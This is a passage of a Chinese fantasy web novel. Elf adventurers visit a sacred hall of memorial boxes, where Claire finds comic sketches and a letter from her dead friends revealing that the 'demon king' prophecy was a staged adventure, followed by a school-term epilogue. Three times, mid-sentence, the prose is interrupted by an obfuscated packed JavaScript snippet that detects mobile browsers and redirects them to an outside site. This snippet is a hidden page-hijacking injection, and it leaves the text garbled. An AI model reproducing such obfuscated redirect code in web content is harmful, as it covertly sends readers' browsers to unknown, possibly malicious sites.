蓝色火焰发出的嘎吱声，像是脚踩在积雪上。 克雷尔躺下就睡着了，她做了一个很奇怪的梦，醒来后忘记了内容，身体像是泡在温水里一样，暖烘烘的，让她觉得应该是个好梦。 出了客房，迎面正撞上一个赫罗纳，对方看到她思索了一下，似乎是在感知，然后说:“你的同伴在左侧走廊尽头第一个房间，和我在一起。” “好的，我这就过去。”克雷尔匆匆说完又补问，“你们玩了一整个通宵吗？” “没有，只是聊天，和那个鬼一起，感谢鬼。” 走到第一个房间时，她听到里面传来的说话声， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559903|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我想她需要摄入的信息量已经足够了，估计最近都不需要再绑架村民了，这得归功于伊尔卡拉。” 是埃弗里。 房门没有关，她们显然不介意有人听到说话的内容。也的确不需要介意，因为外面只有克雷尔和赫罗纳——赫罗纳同时也在里面。 她听到伊尔卡拉响亮地打了个哈欠。 鬼会不会感到疲惫，克雷尔不清楚，她不了解鬼，但她了解伊尔卡拉——她这么做，只是为了展示自己有多辛苦。 果然，安西娅的声音随即响起来了，非常捧场。 “是啊，如果没有伊尔卡拉，我们谁都没办法做到。没错，鬼拥有记忆图书馆，所以她们天生知道世上的绝大多数东西，但不得不说，即使如此，从上万本‘图书’里寻找需要的信息，也是件非常困难的事情。” 克雷尔已经走到了门口，可以看到屋里的情况。 埃弗里坐着，她的表情显示，她对“在图书馆里精准找书很困难”这一说法持反对意见。 蒂娜冲埃弗里翻着白眼，显然不同意她的想法。 伊尔卡拉看不到她们的表情，她骄傲地抬着下巴，抬得太高了，如果她是实体，克雷尔一定会为她的颈椎骨担忧。 安西娅冲克雷尔点头，算打了招呼，然后她说:“但愿威西尔利不会因为绑架消失了而感到无聊。” 蒂娜则说:“但愿她不会因为无聊，而拒绝借我们马车。” 事实证明，威西尔利还没那么小气。在听完她们的解释后，她促狭地冲她们挤了挤眼睛，那意思是“看吧，我就说了会很有趣”，然后把她们带到了马厩前。 安西娅猜测，她可能和她们一样，都没被赫罗纳清除记忆。 虽然赫罗纳想这么做来着，中空的獠牙里已经布满灰绿色的浓液，颜色很不妙，但她们一再声称不会出去乱说。 “到了之后，给它们喂上一吨新鲜的、你们那地区特有的草，放心，它们吃得下。”威西尔利用手指挨个梳理了那几匹马的鬃毛，它们一直在吃草，没有理会她。 “为了大餐。” 这话显然是对马说的。 借到马车之后，她们的进程快了很多，那几匹矫健的快马，让她们把行程从六天缩短到四天。 其实克雷尔觉得区别不大。 但另外四个人——包括伊尔卡拉——都热切地希望尽快回到精灵族。 克雷尔猜测，蒂娜没有把预言是假的这件事，告诉她的两个同伴，不然无法解释她们的兴奋劲是从哪来的。 “我们抵达了真相。”当她们即将抵达时，埃弗里难掩激动地说。 掀开马车的帘子可以看到，路边种植的德科迈提藤蔓，已经在向她们热情招手了。 路口两侧立了两块石头，一个用通用语写着“你想留下？还是只是路过？我不在乎！这里欢迎任何人！” 另一块石头上写着“德科迈提喜欢所有种族！所以我们聘请了它作为守卫，我们想提前知道你是谁！但你知道，它有点太好客了” 每个种族都会有许多居住区，人们称为“村”、“镇”，斯凯奇诺称为“城”，精灵族一律称之为“聚集地”。 由于是一群志同道合的朋友们聚在一起，共同打造的，所以从石头上的内容，可以窥见该聚集地的人们是热情、活泼，还是严肃、认真。 不过，如果是历史很久的聚集地，那就只能从中窥见初代的性格特征了。 比如这里。 左边的石头文字有多次粉刷的痕迹，右边的石头文字还很新，似乎是近些年才决定聘请德科迈提的。 “我不确定让德科迈提来当守卫，是否合适。”安西娅说。 克雷尔意外地看了她一眼，在大多数时候，安西娅都非常捧场。 “让德科迈提来当守卫，是个非常好的主意，只不过……”然后再说缺点，才比较像安西娅的风格。 蒂娜跳下马车，一边往前走，一边大声嚷着:“这次是我，下次就轮到你了安西娅！” 克雷尔不了解德科迈提，它看起来就只是普通的爬藤植物，攀爬在石头上，开一种手掌大小的喇叭花。 她很快明白了这种植物为什么能当守卫，它天生就是吃这碗饭的。察觉到有人靠近，细长的藤蔓立刻站了起来，每片叶子都争先恐后地靠近。 蒂娜把手放在一片叶子上面，然后她抓住一朵花，放在嘴边，似乎是在通过藤蔓向里面的人说话:“我是蒂娜，我和我的四个朋友来到了这里，她们分别是埃弗里、安西娅、克雷——” 蒂娜说不下去了，因为藤蔓上所有的花都调转方向，面朝着她，向她发射黑蝇、花斑蜘蛛、软甲虫等残缺的昆虫尸体。 “德科迈提是食肉植物，它吃昆虫。”埃弗里说。 所以就会把自己的食物往人身上扔？ 克雷尔不知道该说什么:“……听起来很好客。” “其实是攻击行为。它食肉，而不仅是食虫，意思是只要是肉就吃。我们也是肉做的。”埃弗里解释说，“我想石碑上‘喜欢任何’种族的意思是，喜欢吃——我可能永远没办法理解夏林的幽默感。” “那投掷昆虫是怎么回事？” “我们太大了，就像吃特别美味的大餐前，会清空肠胃一样。” 12. 圣地 克雷尔摇了摇头，她也无法理解埃弗里突如其来的幽默感。 一般来说，清空肠胃指的是排泄，而不是催吐——太浪费食物了。 植物当然也懂得珍惜食物，虽然它们没有脑子，但每个物种的生存本能都相近。正常情况下，不可能把吃进来的东西吐出去。 德科迈提的花朵是捕食器官和消化器官，花粉和胃酸一样具有腐蚀性。 小型昆虫进入花朵后会被花粉腐蚀，成为养分，如果体型再大一点，守株待兔就不好使了，它们会选择主动出击，喷射花粉。 如果花朵里有还没消化完全的昆虫，会跟随花粉一起喷出来。 这才是根本原因。 蒂娜响亮地打了好几个喷嚏，头顶身上都是花粉和残肢断腿，看起来惨极了。 埃弗里冲她喊:“打喷嚏时捂一下嘴，小心吃进昆虫！” 她站在原地没动，一点上去帮忙的意思都没有。 德科迈提攻击性很强，可惜没有与之相配的攻击力。 连消化昆虫都需要半个月以上，花粉的腐蚀性，甚至不足以把衣服上的线头熔断。虽然是食肉植物，但也就只能吃点昆虫，一度被认为是食虫植物。 总的来说，是一种太弱所以无害的植物。 用来驱蚊效果不错，如果你不介意它把没吃完的蚊子往你脸上扔，还可以用它进行近距离通话。 它长得就像个电话线。藤蔓内部中空，与花朵相连，在这端的花朵说话，另一端的人就能听到。 克雷尔偶尔会觉得，其实她不擅长应对植物非常合理，因为有的植物真的太怪了。 蒂娜连退好几步，终于离开了攻击范围内，她烦躁地抹了把脸，把衣服上昆虫的残翅断腿弹开。 她钻进马车，说:“报备完成，可以直接进了。” 和大多数居住在多雾地区的聚集地相同，这里的建筑色彩明亮，只是由于历史太久，有些建筑有多次重刷的痕迹。 在经过一个明黄色两层木楼时，她们都闻到了一股腐烂的酸味，一个中年精灵正在木楼里进进出出，把一桶桶不明物质往外搬。那股发酵的味道越来越重。 克雷尔注意到木楼两边房子的颜色都很淡，显然是长期雨淋日晒导致褪色，又无人粉刷的缘故。似乎是没人居住。 蒂娜跳下马车，冲着她喊:“夏林！” 名叫夏林的精灵站起身，用力在罩衫上蹭了蹭脏兮兮的手，朝这边走过来。 克雷尔首先注意到的是她的手，她的手和脚都很大，即使是对于身体尤为健壮的精灵来说，也大到不合比例。其次是她身上那股强势刺鼻的味道。 最后是眼睛。 夏林戴着一副眼镜——她并没有真的戴，那东西没有镜腿，只是浮在她眼前，跟随她的移动而移动。镜片后面黑眼珠占比很大，转得很快，仿佛每时每刻都在绞尽脑汁地思考。 夏林和蒂娜拥抱之后，那双眼睛的焦点放在了克雷尔身上，她打量克雷尔的时间长到让人怀疑她们认识。 但她只是说:“你是克雷？欢迎你。当我忧虑时，我会含上一片红薄荷，希望你也试试。” 她的声音和她给人的感觉完全不同，轻飘飘慢吞吞的，像只树獭。 “克雷尔。”克雷尔接过她递来的薄荷叶，并纠正说。现在她明白蒂娜之前是在和谁通话了。 夏林熟稔地和每个人打招呼，依旧是那个不上不下的语调，“安西娅，你晒黑了；埃弗里，我喜欢你像个贝什卡一样；伊尔卡拉，我们真的有好久没见了。” 贝什卡是只生长在东部大陆的一种植物，特点是生长迅速，一夜就可以窜一米多高。 埃弗里说:“我最近是在猛长个子，你居然认识伊尔卡拉？” “我当然认识。” 蒂娜:“不重要，关键是夏林你能不能把德科迈提撤了？你看我身上！” “确定都喷出来了吗？太好了，通话线路变得更畅通了。” 蒂娜怒瞪。 “如果你担心浪费，一会儿我会去清扫，把喷出来的昆虫都扔到我的桶里。昆虫也是一种很有营养的肥料。”夏林说，她显然理解错了蒂娜的意思。“我扫地的时候，你们能帮忙把我的桶都搬出来晒晒，方便生物肥发酵吗？” “不了，我们要去圣地呢。”蒂娜一口否决。 “去吧。”夏林说完想起了什么，“不过千万注意，海斯文也在圣地，不要被她发现，就算被她发现了，也不要被她抓住，被她抓住会很麻烦。” 克雷尔问:“被她抓住会怎么样？” “很糟糕，她会问你们圣地扩建得怎么样——她是百年前修缮圣地的负责人——然后自夸上两个小时，可能会错过晚饭时间。今晚食堂有亚立特浓汤。” 走开好几米以后，蒂娜小声嘀咕:“拜托，我可一点都不喜欢那个汤。” 每一个精灵聚集地都存在“圣地”，通常它位于最北方。 蒂娜带着她们沿着小路奔跑，最后一条分岔小路的尽头，是一间其貌不扬的小房子。 里面的空间比外面看起来大得多，陈列着许多书架，乍一看有点像图书馆。 只是，架子上整整齐齐摆放着的不是书，而是一个个木盒，盒子全都没有上锁，每个盒子下方都刻着一个已去世的精灵的名字。 克雷尔随手拿起其中一个，蒂娜在旁边说:“不是骨灰盒。” “我知道。” 性质差不多，都是死去的人留下的东西。精灵的习俗是，当一个精灵即将死亡时，会把自己想要留给后辈的东西放进盒子，然后盒子统一陈列在圣地里。 什么都可以放，只要不是打开会受诅咒的东西就行。 所以什么稀奇古怪的东西都有，对好奇心旺盛的小孩子来说，这里是最好的寻宝室。 十岁以前，蒂娜总是瞒着大人，偷偷溜进圣地，十岁以后，她光明正大地进来。 她在这里找到过已失传的食谱，试做后很难吃，连锅一起扔；也找到过一本破破旧旧的魔法课本，她使出的第一个魔法，就是从上面学会的。 还有一枚金色的钱币，属于货币时代，现在已经用不着了，她把金币拿出来玩了两天，又放回去，重置魔法锁。 每个盒子都设有隐形的魔法锁，只有满足开启条件，被盒子主人认可的人才能打开。 有人设置开启条件为“无”，任何人都可以打开；大多数开启条件都是1-3个问题，正确即可开启——几乎所有人都希望，只有通过考验的人，才能获得自己的“宝藏”。 蒂娜见过最离谱的开启条件是，只有七月的白朔十日当天才可以打开。 当然不存在这个日期。 她们又发现，那个盒子是特别的，有简易的视觉识别魔法，于是她们又想了个主意，在白烁日和回归日的交汇点，把伪造的假日历放在盒子前面。 成功开启后，发现里面什么都没有——答案就在题面上，七月的白烁十日根本不存在，其中空无一物。 几个小孩气得不行，干脆重置了魔法锁，让它恢复到开启之前的状态，等着骗下一个人。 重置很简单，只需要按一下盒子下方的按钮。按钮旁边有个小型滚轮，当盒子被开启又被关闭，滚轮就会前进一格，以此辨别被打开的次数。 克雷尔手里盒子的开启条件是施加清洁魔法。她念了咒，盒子变得更干净了，打开盒子，里面是一份厚厚的日历。 日历封面上写下的古体字，已经变 得难以辨认——“你可以取走今天的日期”。 克雷尔撕下今天的那页，抬手把盒子放回原位时，注意到下方的滚轮上刻着1742。 克雷尔把纸片折叠放进口袋，“如果没记错的话，那个‘2’应该是我贡献的。” “你来过这里？”埃弗里问。 “对，在九百年前，我们几个朋友一起做了个决定，发誓要把圣地的所有盒子都打开一遍。”她数着书架上的数字往前走，脚步停在[二十三]旁边，“最后我们停在了这。” “也就是说二十三个架子上的所有盒子，你们都打开过？”埃弗里不可置信地说，“那可有一千多个呢！全部都打开了？！” 克雷尔笑着点了点头。 蒂娜怀疑地看着她，然后冲到了第十七个架子前，取下其中一个盒子，递给克雷尔:“这个我们一直打不开！里面是什么？” 克雷尔想了想，怎么可能想得起来？但她对问题的答案有印象，稍微尝试了一番，就打开了。 “复杂的问题总是让人印象深刻。” 固执地想打开它只是出于好胜心，至于里面有什么，反而没那么重要。 比如这个盒子里的东西——克雷尔把它展示给蒂娜看——只是过量运动后，如何缓解肌肉酸痛的教程，太基础了，她们早就学过了。 蒂娜失望至极，看完后立刻把它放了回去，“现在我相信了，但你为什么停在二十三不继续呢？这多好玩啊！” 安西娅注意到，克雷尔在听到蒂娜的问话后，嘴角的笑容变淡了些，而后她恢复了往常的神态，若无其事地说:“因为二十三个架子、一千多个盒子，不是一天就能全部打开的。” 她们花了很久。久到那个寿命最短的精灵朋友行动变得迟缓，浑浊的眼睛需要盯着她看很久，才能喊出她的名字。 她住在精灵朋友的客房里，能听到主卧半夜传来嗬嗬的费力呼吸声，伴随着频繁的翻身。她睁着眼，注视着天花板上的斑点，和那声音一起等待清晨； 她见到一个刻着达加弥亚的木盒，放在桌子底下，过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559904|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几天，那个盒子又不见了。 她知道那个盒子会最终出现在哪。如果继续进行她们的“寻宝”，她会再次见到它。 在当时，克雷尔不知道那个盒子里面是什么，她有猜测，后来也没去验证过。 可能是恶作剧软糖，咬开后里面会有半个逼真的虫子，也可能是一份放了50年的报纸，上面详细记录了达加弥亚如何战胜森林里的巨怪。 安西娅看了看克雷尔，然后重重地咳了一声，把众人的视线集中在自己身上，“各位，我们还有正事要做呢。” 她首先迈步向三十一号书架走去，从第三层取出一个木盒，蒂娜骄傲地介绍:“这个就是装预言画和预言纸的盒子，看到滚轮上那个1了吗？这么久了，我们是第一个打开这个盒子的人！” 克雷尔接过盒子，盒子很轻，她用手抹去上面不存在的灰尘，问:“里面只有预言画和预言纸？有别的东西吗？比如糖果。” 蒂娜露出了厌恶的表情，“……好恶心。” 克雷尔心情莫名好了起来。 埃弗里若有思索地看了她一眼，说:“开启条件足足有50道题，而且都不是客观题，很怪。还有，我早就说过，几百年前的东西不能吃。” 蒂娜自知理亏没说话，眼神很不服。 “我来试一下吧。”克雷尔说。 她做到第三道题，就被提示错误，需要重新再来。 做第二遍时，埃弗里凑了过来，在旁边小声提醒，她记性好，记住了她们上次打开时输入的内容。 五十道题做完，发现全都是主观题，有点像性格测试，这东西没有对错之分，全看盒子主人的喜好，有一项回答得不满意都不行。难怪一直没人成功打开。 “这些问题的答案没有一个共性，我分析过，比如前十五道，正确答案的风格是勇敢，直接选择最直接的回答；十五到三十题，突然开始考验智慧了；三十到五十，团队分工和协作。我们也是误打误撞才答对的。” 克雷尔摇头，“不是误打误撞。” 而是出题人对着答案找考题，为的就是筛选出某类型的人，替她去完成一件事。 过去了数百年，也只有安西娅、埃弗里、蒂娜三人完全满足条件。 盒子已经被打开了，里面放着几页薄薄的纸张，上面用圆珠笔画着漫画分镜草图一样的东西，很潦草笨拙。 克雷尔问:“你们说的千年前凭空出现的预言、未知的文字、世界上并不存在的笔墨……就是这个？” “果然，你认识。”安西娅盯着她的脸说。 “这是漫画。” 蒂娜:“漫画不长这样！” 这个世界的漫画当然不长这样，那是克雷尔从前世带过来的。她是身穿。 穿越来发现这里是货真价实的魔法异世界，有现成的冒险，谁还需要费力画漫画？ 于是草图一直是草图。 达加弥亚是她交到的第一个朋友。克雷尔都快忘记了，原来自己当时把这几张纸给了她，语言尚不互通的两个人，指着纸上的文字和图，磕磕巴巴地交流。 克雷尔想，她当时一定是手舞足蹈，兴奋至极地讲着自己想要描绘出的故事，才让达加弥亚认为，它对她很重要。 安西娅说:“我们都不清楚这是怎么回事，不过，克雷尔你好像知道了一切——不，你当然有权不向我们解释，只有一点，你不是魔王对吗？” 克雷尔摇头。 “预言也不是真的？” “那只是我很久以前画的漫画，送给了一个精灵朋友，我猜她以此跟我开了个玩笑。虽然我看不到预言纸上的内容，但那大概是她故意夸大的，为了诱使你们去‘魔王城堡’找我。” “好吧，我们白跑一趟，”蒂娜耸耸肩，想表现出无所谓的样子，但表情出卖了她，“反正被圣地的木盒耍不是一次两次了。” 安西娅打圆场，“总之没有世界末日，也没有人作恶，这就是好事。而且这趟冒险很有意思，对吧？我们还认识了克雷尔和伊尔卡拉——” 说到这里，她们才注意到，伊尔卡拉没跟着进来，安西娅只好把原本要出口的话替换掉，“你对那把黑剑也非常满意，是不是？” 蒂娜哼哼两声，勉强没那么生气了。 “所以你的房子，其实是按照漫画里盖的？我在看的时候就注意到了，别的都是草图，只有那个房子完成度和精细度非常高。” 埃弗里说着，要把漫画翻到那一页，然而纸张被固定在盒子底部，翻页很费力。 克雷尔说:“对，我还挺喜欢那种建筑风格的……你靠后一点，我来解除固定魔法。” 把画拿出来后才发现，在最下面压着一封薄薄的信，信封上没填地址，只写着两个单词。 ——给克雷尔。 13. 给克雷尔 亲爱的克雷尔: 没想到吧？你被我们骗了，放在床头柜抽屉的信？那根本不是给你的最后一封信，这封信是不是呢？你大可以继续找找看。 对了，这封信是我们三个一起写的。我们口述，弗利达代笔，所以从字迹可区分不出我们，现在猜猜我是谁？是达加弥亚、德斯蒂尼，还是—— 我是弗利达。 抱歉，你知道达加弥亚很容易兴奋。我是说，这对她的身体很不利，暂且由我来讲述吧。 我不明白她为什么热衷于玩这种猜我是谁的游戏，明明她的书信风格是我们当中最明显的，并且她总是会把自己的名字放在第一顺位。 “预言”、“魔王”、“讨伐魔王小队”……这是我们三个人共同的主意。 瞒过了尼克尔和佐伊——因为尼克尔知道的，必然也会告诉佐伊，而佐伊保守不了秘密。 我们只能这样做，不必担心，事后我会对她们道歉，请求谅解。她们不会一直被蒙在鼓里，等木盒放进圣地，我就会告诉她们。 言归正题。因为达加弥亚说，你在前世的时候很喜欢这类漫画，所以我们策划了一场专属于你的冒险故事。 但愿它给你带来的是新的朋友、新的冒险，而不是困扰。 你可能好奇我们为什么要这么做，仔细想一下吧，你有多久没有参加我们的聚会了呢？ 自从达加弥亚卧床以后，你就很少出现了。如果你不想来，没人会怪你，但你沉迷于时间魔法，昼夜不分。这让我们都很担心。 掌管时间的卡兹奥尔，也无法永远保有黑夜。时间会向前流动，而你无法阻止它，即使是阿卡姆托，也是由婴孩长成成人，没有人可以逆转这个过程。 我们第一次见到你时你的样子，和你现在的样子毫无区别，时间当然在你身上留下了痕迹，手臂上的伤疤、逐渐成熟的眼神，这些都是。但它似乎没能推动你向前。 我们猜想你应该是长生种——考虑到真正意义上的永生种，只有无实体的鬼。 没人告诉你这个。因为在你一百二十岁那年，你给自己办了场葬礼，第二天你发现自己照旧醒来后，显得很恐慌。 因为你那个世界的人只能活一百二十岁，你预设自己也活一百二十岁。 你刻意回避了你外貌没有改变的事实，以为无视它，它就不存在。 你在那个世界只生活了二十年，但那是最关键的二十年，是它塑造了你，你的一切都来源于它。 你对它有更深的归属感，可你无法回到那里。 而在冒险的热情逐渐退却后……你喜欢这里的一切，但对这里的归属感，却仅仅依靠我们几个来维系。 所以，是啊，你不想在我们一个又一个地死去后，成为仅存的孤零零的一个。 是的，我们死后，你可以交别的朋友。你当然会这么说。每当我们看到你在研究时间魔法，露出担忧的表情时，你都这么说。 你说你只是对它感兴趣而已，其实你并不在意。 你说在达加弥亚的葬礼上，你会准备一支硕果累累的树莓枝条。 你说你希望你的新朋友是蚁群，因为你无法想象她、她们是如何生活的，关于蚁群的一切都让你感到新奇、跃跃欲试。 但是克雷尔，一个真的这么想的人，是不会整天把自己埋在实验室，一心只想着要让时间魔法在活人身上起效，让自己垂垂老矣的朋友重回少年。 这就是我们写这封信的原因。 在我们几个都还活着的时候，你应该不会看到它，它将会封存很长一段时间。 我真心地希望，你永远不会看到这封信。说不定在将来的某一天，我们中的一个，会悄悄地到圣地把这封信取出来，然后撕毁。 好证明我们写这封信的目的——那种担心，只是无由来的、只是杞人忧天。 如果它没被撕毁，你最终还是看到了这封信，‘很抱歉这么多年从来没有长进过，甚至还需要我死去的朋友来宽慰我’，停止这种想法。 我们当然会担心你，就像你担心达加弥亚一样、 我是德斯蒂尼。 现在这封信轮到我来写了，你会发现笔迹毫无变化，因为达加弥亚坚持要把那个傻游戏进行下去！ 嘿，别告诉她，弗利达在每个部分的开头都加上了署名。 回到原来的话题吧。你可能很好奇，为什么弗利达会突然在写到一半时停笔，我来解释。 因为她还没有写到后面的内容，就发生了让我们认为不需要再写这封信的事情。 我们差一点就决定把它撕了！ 但如你所见，这封信继续了下去。弗利达在照料达加弥亚，没时间构思书信内容，她的状态变得更差了，还有你，你也在照料她。 你离开了实验室，住进了达加弥亚小屋的客房，你看起来完全放弃了时间魔法，表现得让我们觉得自己果然是在杞人忧天。 哈，我从来不否认我的过人才智。正是它帮助我很快识破了你的伪装。 你出现在这里，是因为你认为达加弥亚想要你在这；你面带微笑地宽慰她，是因为你不想让她担心……而不是因为你放弃了时间魔法！ 总之，我们不得不像以前一样，一边担心达加弥亚，一边担心你了。 别愧疚，反正你让我担心的次数已经够多了，不多这一个。 还记得那次在星星森林吗？你被一整朵巨大的花吞住脑袋，好不容易挣脱后，头皮上、脸上都是花粉，哦，那花粉可不易摆脱，还是我帮忙…… （弗利达注:此处对德尼蒂斯的废话进行了删减处理） ……我一向都是果断并且决策正确的人！不过在写这封信之前，包括在写这封信的此刻，我都在想，是不是不该留下这封信，我们所做的事，究竟是否正确。 不止你，我们也在假装。只不过我们是在迫切地找事情做，假装我们游刃有余。 策划给你的冒险故事也算是“找点事情做”，所以我觉得，嗯……这很自私。 我们还不知道你会在什么时候看到这封信呢。 说不定那时你已经看开了，这封信的出现，只会勾起悲伤往事。 说不定你已经不记得我们了，觉得我们是自作多情，觉得我们是平白无故，啪嗒一声，往你门口送三个喊着要除掉魔王的人，给你制造麻烦。 是啊，我知道你不会那么想，也知道思考这些问题很傻，但我控制不住。 达加弥亚的状态很差，你也不给我们省心，除此之外，一切都乱套了，事情不该是这样……我知道除了达加弥亚的死亡是不可避免的以外，别的都在往好的方向发展，但我停不下胡思乱想！我做不到！ 如果我没那么聪明，而是头脑简单的狼人就好了，我就可以什么都不想，每天站在悬崖上冲着月亮嚎。和尼克尔一起。 ——是，对，没错，我就是在抱怨她扰民！如果她能嚎出月光畅想曲的变奏来，还可以勉强容忍。 至于佐伊，我不是很清楚她的情况。她最近在尝试做菜，说是想让达加弥亚在去世前尝尝她的厨艺，不留遗憾。 我被迫帮忙尝了两次，觉得达加弥亚吃了那种东西才会抱憾而终……总之，我有点害怕接近她，你必须原谅我。 好像应该在信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559905|171361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里说些更有意义的内容，但我说的只是些零碎的琐事……好吧，达加弥亚说这就是有意义的。 虽然弗利达不觉得，但我会无视她的谴责眼神，继续说下去的，我知道我说的东西都是有必要的！ 嘿，你一定还记得，那一次咱们在学院里……你忘了的话，给你个关键词:乌云。你最好记得！毕竟如果不是我…… 等一下！我还没有说完，我的篇幅还没结束，还没轮到……弗利达！不要再写了，来帮…… 我是达加弥亚。 让德斯蒂尼继续说下去，她能说上三天三夜，拜托，我才是主角。你也要死了吗？没要死就一边去，别打扰主角！ 不用担心我，精灵年迈之后味觉会退化，如果我死了，凶手绝对不是佐伊的食物。 事实上，我觉得味道不错，用对待魔药的态度对待食物，味道绝不会差。 是真的，我已经建议她留下食谱，害……造福更多人了。 我猜猜，弗利达和德斯蒂尼肯定还没告诉你，我们是怎么做到的。 你把漫画草图给了我，所以我们已经有剧本了。漫画本身就有夸张因素，我们又在翻译上小做夸大，哄住别人轻而易举。 我们设计了一个黑桃形状的小道具，把它托付给了一个村子。 然后，我打算让尼克尔帮个小忙，狼人的嗅觉很好，我们可没办法找到地下的种族。 之后还会跟佐伊说，等你决定要搬到其她地方住时，一定要按照我们说的，加个小设计进去。 就是用银片解锁大门的小设计。 她擅长建筑设计，所以她肯定会参与其中。 然后，我早就猜到斯凯奇诺不会同意了，高傲？不，一点都不，但我可能和她们天生不对付吧。所以我只能留下一点线索，引导冒险者们去小岛上。 题目不是太难，做做样子，只要她们已经收集到了银片，就不可能无法通过——这其实是个检测，看她们有没有带上银片这个“钥匙”。 然后还有什么来着？弗利达也负责了几个地方，我还没问她，让她跟你说吧——当然不是在这封信里，你不会觉得我们只给你留了一封信吧？ 总之就是，我们想方设法，增加趣味性，让那几个冒险者能高高兴兴地、心满意足地找到你。 通过木盒测试的人，不会因为你是魔王就喊打喊杀，所以你们大概率会进入谈话环节。 然后你们两边一合计，就会立刻发现问题所在，一起来到圣地。 然后就会看到这封信啦！ 事情就是这样。 别看我在信里欢呼雀跃，但实际上，我说话的声音有气无力的，弗利达必须靠我很近，才能听到我的声音。 所以我喜欢文字胜过面谈。 不得不说，无论是银片还是测试题，都耗费了我太多精力。我不会刻意回避这个，如果我为你做了一件事，那么你就必须要原原本本地知道。 我知道自己快要死了，‘不要给我你的同情、悲悯，或是惆怅，给我源源不绝的布列什’①。 虽然我不是很爱，但我想引用贝利的这首诗，意会一下就行，不要真的给我布列什，我更喜欢橘子果酱——也不要给。 好好的食物在墓碑前放坏了不是浪费吗？替我吃了吧，给喜欢吃它的人也行。 不用想也知道，弗利达肯定在那句诗的右上角加了角标，我都说了没这个必要，难道还有别人会看到吗？这封信只给你。 如果你看到了那个角标，一定要在回信里狠狠嘲笑她！你会写回信并且轮番念给我们三个听的，对吧？ 那我们就下封信见咯！ 14. 不算番外的番外 脱去冬天厚重的大衣，换上轻薄的春装，把一本本新书一股脑全塞进抽屉，再把床底下落了灰的《古代魔法实践图示-附音节按钮》拿出来。 蒂娜重重地叹了口气。 她被要求补修课程，魔法实践这门课的教师，对于考试很是严格。 “我很遗憾，如果我的课程是植物栽培和育种，我很愿意让你通过，但对待魔法还是要慎重一些，对吧？我不想某天在报纸上看到，我的学生不慎摧毁了一座森林，而这只是因为，她错把魔法中的上升音节，输出为平颤音节了。” 负责她的克里斯老师是这么说的。 她翻开课本，找到那个魔法的按钮，不停地按着，越听越觉得自己冤枉，上升音节上升得一点都不明显。 频繁的咒语声吵得埃弗里捂住耳朵大喊:“蒂娜！” “我只是在复习。” “你最好给自己施个隔音魔法再复习，”埃弗里说，“或者我先给自己施一个。” 蒂娜双手举起，示意自己不会再按了，然后问:“你都选了什么课程？” “古代魔法史、进攻魔法学、时间魔法概述、魔法防御实践、魔法用具维修……时间不冲突的都选了。” “我真想和你一起上课，”埃弗里瞥了她一眼，知道蒂娜这么说，是为了引出下面的抱怨，“但我必须补修。” “我不想扫兴，但我觉得克里斯让你补修是对的。” “你已经在扫兴了，”蒂娜不太高兴地转移话题，“安西娅选了什么？” “古魔药学概述、古魔药复原、综合魔药配置……关于魔药的一切。今年我们在课堂上肯定见不了几次面。” “她和夏林肯定聊得来。”蒂娜嘟囔。 “估计不太行，夏林偏向药植培育，安西娅偏向成分提取。对了，克雷尔给你的种子，你给夏林了吗？” “给了一半，我打算自己培育试试看，但要补修，没办法再选药植培育可，还是寄给她吧。” 把种子包夹在信里寄出去后，已经差不多到晚餐时间。开学第一天，食堂里异常吵闹，安西娅和埃弗里已经找好了位置，看到蒂娜站在门口，立刻向她挥手示意。 蒂娜侧着身，慢慢地挪过来，耳朵里钻进几句学生们的闲谈，都是关于补修、新老师、新课程、忘带东西之类。 她没有在意。 第二天午餐前，会议厅里简单举行了一个开学仪式，校长重申了校规，介绍几位新教师，然后就宣布结束，全程不到二十分钟。 散会后安西娅、蒂娜、埃弗里三人互相对视一眼，安西娅说:“如果我没看错的话，那个新的时魔概述老师似乎是克雷尔。” “你没看错！听到校长怎么介绍她吗？真没想到，那个能让时间后退500年的魔法师就是克雷尔！她居然没和我们说过！” 埃弗里显得很兴奋，她看看安西娅，再看看蒂娜，像是下一秒就要劝说她们把时间魔法概述课加入课程。 不过她很快意识到，自己的两个同伴和自己一样，课程满到挤不下了。 “她是没和我们说！”蒂娜冷冷说道，“她连来我们学校任教都没和我们说！就连那天看完信后，她也什么都没说！” 甚至刚才散会后，她也只是朝她们方向看了一眼，就立刻跟着校长走出去了。 埃弗里神情有些尴尬，却还是辩解:“她说了，只不过没有细说。” “就几句话而已，那也叫‘说了’？” “那是她去世的朋友留给她的信，你不能指望她在看完之后，依旧能精神百倍，神采奕奕地跟我们细讲发生了什么吧？” 蒂娜非常大声地从鼻子里发出一声哼哧，“你就是因为她能把时间倒退五百年，才这么帮着她的。” 但她没有否认埃弗里的话。 